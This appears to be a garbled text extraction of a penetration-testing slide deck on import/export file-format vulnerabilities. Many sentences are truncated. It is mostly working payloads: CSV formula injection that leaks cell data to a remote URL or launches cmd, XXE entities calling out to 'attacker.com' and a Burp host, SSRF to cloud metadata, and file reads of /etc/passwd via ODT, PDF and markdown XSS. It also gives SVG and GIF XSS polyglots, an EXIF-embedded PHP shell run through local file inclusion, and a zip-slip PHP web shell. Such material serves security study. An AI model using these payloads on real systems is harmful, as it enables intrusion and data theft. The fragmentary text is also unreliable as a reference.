Vulnerability in Image Type
Vulnerability in Image Type
FUNCTIONALITY
Security issues
By Rezaduty
SUBJECTS
What is import/export
1
WHAT IS EXPORT
In a personal computer application, to export is to convert a file into
another format than the one it is currently in. Once the file is exported to
the desired format (specified in its file name suffix), it can be opened and
Photoshop and other programs use this term. Other applications such as
Word let you export a file by simply specifying the appropriate file name
WHAT IS IMPORT?
A file that has not been exported to a desired file format can be import ed
2
PART OF FILE FORMATS FOR IMPORT/EXPORT
SpreadSheet
.xls, .xlsx
.xltx
Document
.doc, .docx
.odt
Powerpoint
.pptx
HTM/PDF
.html
Markdown
.md
Image
.png
.gif
.jpeg
.svg
Archive
.zip
3
VULNERABILITY IN SPREADSHEET TYPE
Many modern web applications and frameworks offer spreadsheet export
OpenOffice Calc. The resulting spreadsheet’s cells often contain input from
supplied addresses.
This is inherently risky, because any cells starting with the ‘=’ character will
all recent purchases. If a malicious customer buys a product and sets their
=HYPERLINK("http://contextis.co.uk?leak="&A1&A2,"Error: please
such as Microsoft Excel or LibreOffice Calc is used to open a CSV, any cells
4
VULNERABILITY IN SPREADSHEET TYPE
Hijacking the user’s computer by exploiting vulnerabilities in the
website
@SUM(1+1)*cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'
This attack is difficult to mitigate, and explicitly disallowed from quite a few
bug bounty programs. To remediate it, ensure that no cells begin with any
Equals to (“=”)
Plus (“+”)
Minus (“-“)
At (“@”)
5
VULNERABILITY IN SPREADSHEET TYPE
XXE and SSRF
Create a new blank Excel file. You can type stuff into some of the cells if
you want to but it’s really not necessary. Don’t have Excel installed? You
Create a directory to unpack the Excel file into and unzip it.
Which file to use to attack the application will vary a little and it depends a
"http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>
<x>&xxe;</x>
or
<root>&test;</root>
6
VULNERABILITY IN SPREADSHEET TYPE
Now zip it up to create your new Excel file.
To remediate it, ensure that no cells begin with any of the following
characters:
Define a Blacklist
URL and displaying the contents inside of a frame. The OLE objects are
most of the time you need to enable link updates manually after you open
As long as x-href updates are enabled, you will be able to fetch arbitrary
2.Insert -> object -> ole object -> create from file
7
VULNERABILITY IN SPREADSHEET TYPE
7.Modify content.xml, replacing the url with “file:///etc/passwd”.* find:
8.Replace the content.xml in the odt file with your newly edited one
text:anchor-type="paragraph" svg:width="6.6925in"
svg:height="1.1791in" draw:z-index="0"><draw:object
xlink:href="file:///etc/passwd" xlink:type="simple"
xlink:show="embed" xlink:actuate="onLoad"/><draw:image
xlink:show="embed" xlink:actuate="onLoad"/></draw:frame>
8
VULNERABILITY IN SPREADSHEET TYPE
SSRF and LFD
OFD files have a features that support the xlink hrefs as well.One of these
payload that allowed arbitrary read in a default styling that displayed the
full contents. This feature also allows the same file:// access as OLE
objects..
source xlink:href="http://169.254.169.254/latest/meta-data/
</text:section></office:text>
Unzipping a DOCX or ODT file will create the following structure, that we
Looking at the file structure, you’ll see that there are a lot of XML files to
play with. One good bet is [Content_Types].xml, which will work well for
or
"http://attacker.com/log">%go2;
embedded online videos by injecting them with HTML code, replacing the
The process to inject the HTML code can be somewhat tedious. This script
10
VULNERABILITY IN SPREADSHEET TYPE
HTML Injection
DestinationName "destination.docx"
2.Open the created file using winrar (a pptx file is actually an archive).
3.Extract the tableStyles.xml file which is located in the ppt folder and
<a:tblStyleLst
xmlns:a=”http://schemas.openxmlformats.org/drawingml/2006/main
" def=”{5C22544A-7EE6–4342-B048–85BDC9FD1C3A}”/>
Now, setup a server where you can view incoming connections and save
<r>&xxe;</r> <a:tblStyleLst
xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main
" def="{5C22544A-7EE6-4342-B048-85BDC9FD1C3A}"/>
11
VULNERABILITY IN HTML/PDF TYPE
Have you ever surfed the internet and seen a “Download as PDF” button?
Over the past few years, many sites have added the option to export your
1.The web application gets the client’s data from a database / directly from
the client.
4.The external library gets the HTML, does its magic and returns a PDF file
*In some cases, the web application downloads the whole HTML, including
the personal data, directly from the website itself with HTTP (e.g., from the
12
VULNERABILITY IN HTML/PDF TYPE
The most interesting part is the conversion from the custom HTML to the
I discovered that there are many players in the HTML to PDF market.
we can download almost any file from the web server. For this attack
iframe / frame
object
fonts (CSS)
13
VULNERABILITY IN HTML/PDF TYPE
Sometimes during a penetration test, after exposing a few vulnerabilities I
progress is the inability to disclose information about the server and the
Internal port scanning: by the delay of the response from the web server,
open)
close)
Internal resources access: we can use the Object, Iframe and Frame tags to
access internal HTTP interfaces and watch the responses. For example:
<object data=”http://127.0.0.1:8443”/>
The vulnerability exposes the site to a potential DOS attack. The external
attacker could abuse this mechanism and make the server work hard, if he
<img src=”http://download.thinkbroadband.com/1GB.zip”/>
<iframe src=”http://example.com/RedirectionLoop.aspx”/>
14
VULNERABILITY IN MARKDOWN TYPE
Markdown is a simple language for writing and formatting content. By
writers to write clean but aesthetically pleasing content. It’s used all over
the place, from Gists and readme files on GitHub to the very article you’re
heading, but the processor can choose which font and weight to apply,
where to place the heading, and how the heading may or may not be
Articles are better with visuals, especially puppers with collars. But behind
the scenes, Medium doesn’t store a web page of HTML and CSS, it stores a
markdown file. Behind the scenes, this good boy looks something like this:
The initial exploit, as it turns out, was quite simple. Working backwards
from the anchor code snippet above, we can see we have a few options.
We can either escape out of the href attribute and add some script that
fires on a DOM event. Or, we can keep it simple and place the code in the
15
VULNERABILITY IN MARKDOWN TYPE
We’ll keep our exploit simple for now and work to loftier goals later.
Comparing this goal with the link HTML and markdown above, we can see
the exploit should be simple. Put the payload in the parentheses and we
LFR
{document.write(this.responseText)};x.open(“GET”,”file:///etc/passwd
”);x.send();</script>
Picture uploads are used on many sites found on the internet. There are
it. For example, there are some sites allowing the user to set some kind of
With every feature added to a website, there is the need for hardening this
functionality. This holds true for simple things as allowing users to post
content, but is also important for allowing users to upload files. One may
think a picture upload is less dangerous than an arbitrary file upload. But it
comes with all the dangers that a general file upload has — like a Path
16
VULNERABILITY IN IMAGE TYPE
In the following a technique will be presented which allows an attacker to
take over a machine running a webserver with activated PHP and using a
First, you need to download the Exif Pilot tool from here.
Now open exif pilot and insert any image to hide malicious comment
inside it; from the screenshot, you can see I have chosen a shell.png image
Here the exif data has been edited successfully inside the image. This tool
replaces the malicious image from the original image in the same folder
Now past the above-copied path of the uploaded image inside the URL as
http://192.168.1.102/dvwa/vulnerabilities/fi/?
page=../../hackable/uploads/shell.png&c=ifconfig
or
http://192.168.1.102/dvwa/vulnerabilities/fi/?
page=../../hackable/uploads/shell.png&c=cat /etc/passwd
17
VULNERABILITY IN IMAGE TYPE
XSS
1- The filename itself may be being reflected in the page so it’s just a
2- Using the exiftool it’s possible to alter EXIF metadata which may lead to
a reflection somewhere:
brute.jpeg
3-If the application allows the upload of a SVG file extension (which is also
an image type), a file with the following content can be used to trigger a
XSS:
<svg xmlns=”http://www.w3.org/2000/svg"
onload=”alert(document.domain)”/>
4-It’s easy to build a GIF image to carry a javascript payload for use as a
source of a script. This is useful to bypass the CSP (Content Security Policy)
shown below.
18
VULNERABILITY IN IMAGE TYPE
XSS
To create such an image just use this as content and name it with .gif
extension:
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
If you can upload a ZIP that is going to be decompressed inside the server,
Symlink
Upload a link containing soft links to other files, then, accessing the
ln -s ../../../index.php symindex.txt
One could easily assume that this setup protects from OS-level command
execution via malicious file uploads but unfortunately this is not true.
also reference higher level directories we can escape from the safe upload
https://github.com/ptoomey3/evilarc
19
VULNERABILITY IN ARCHIVE TYPE
Decompress in different folders
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
$FILE”cmd.php”;done
:set modifiable
:%s/xxA/..\//g
:x!
Done!
Only one step remained: Upload the ZIP file and let the application
decompress it! If it is succeeds and the web server has sufficient privileges
on the system:
20
RESOURCES
4armed.com
techtarget.com
buer.haus
integrity.pt
hackerone.com/reports/334488
hackerone.com/reports/360727
medium.com/taptuit
securityonline.info
usd.de
hackingarticles.in
brutelogic.com.br
hacktricks.xyz
21